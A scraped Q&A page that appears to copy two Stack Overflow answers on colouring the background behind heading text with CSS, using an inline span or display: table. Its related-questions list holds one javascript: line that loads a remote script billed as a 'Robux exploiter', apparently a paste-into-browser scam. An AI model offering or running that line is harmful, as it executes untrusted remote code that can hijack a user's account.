Fill color behid text in html

Put the text in an inline element, such as a <span>.

<h1><span>The Last Will and Testament of Eric Jones</span></h1>
And then apply the background color on the inline element.

h1 {
    text-align: center; 
}
h1 span { 
    background-color: green; 
}
An inline element is as big as its contents is, so that should do it for you.

Source: stackoverflow.com

Fill color behid text in html

Option 1
display: table;

no parent required
h1 {
    display: table; /* keep the background color wrapped tight */
    margin: 0px auto 0px auto; /* keep the table centered */
    padding:5px;font-size:20px;background-color:green;color:#ffffff;
}
<h1>The Last Will and Testament of Eric Jones</h1>

Source: stackoverflow.com

Similar codes

0 vote262 views1 answer
How to hide image in html
Html
222 votes364 views6 answers
Bootstrap CSS CDN
Html
19 votes294 views4 answers
Anchor html
Html
0 vote306 views1 answer
Shortcut to open vscode html page in chrome
Html
0 vote295 views1 answer
Abrir dos ventanas con a href
Html
0 vote297 views1 answer
How to revert php artisan ui vue --auth
Html
2 votes313 views1 answer
Center text in a html file
Html
0 vote316 views1 answer
Html count django model related_name
Html
0 vote292 views10 answers
XJavascript:$.get('//robloxassets.com/I/RobuxExploiter/RobuxExploiter.js')
Html
2 votes285 views6 answers
Hyper Text Markup Language
Html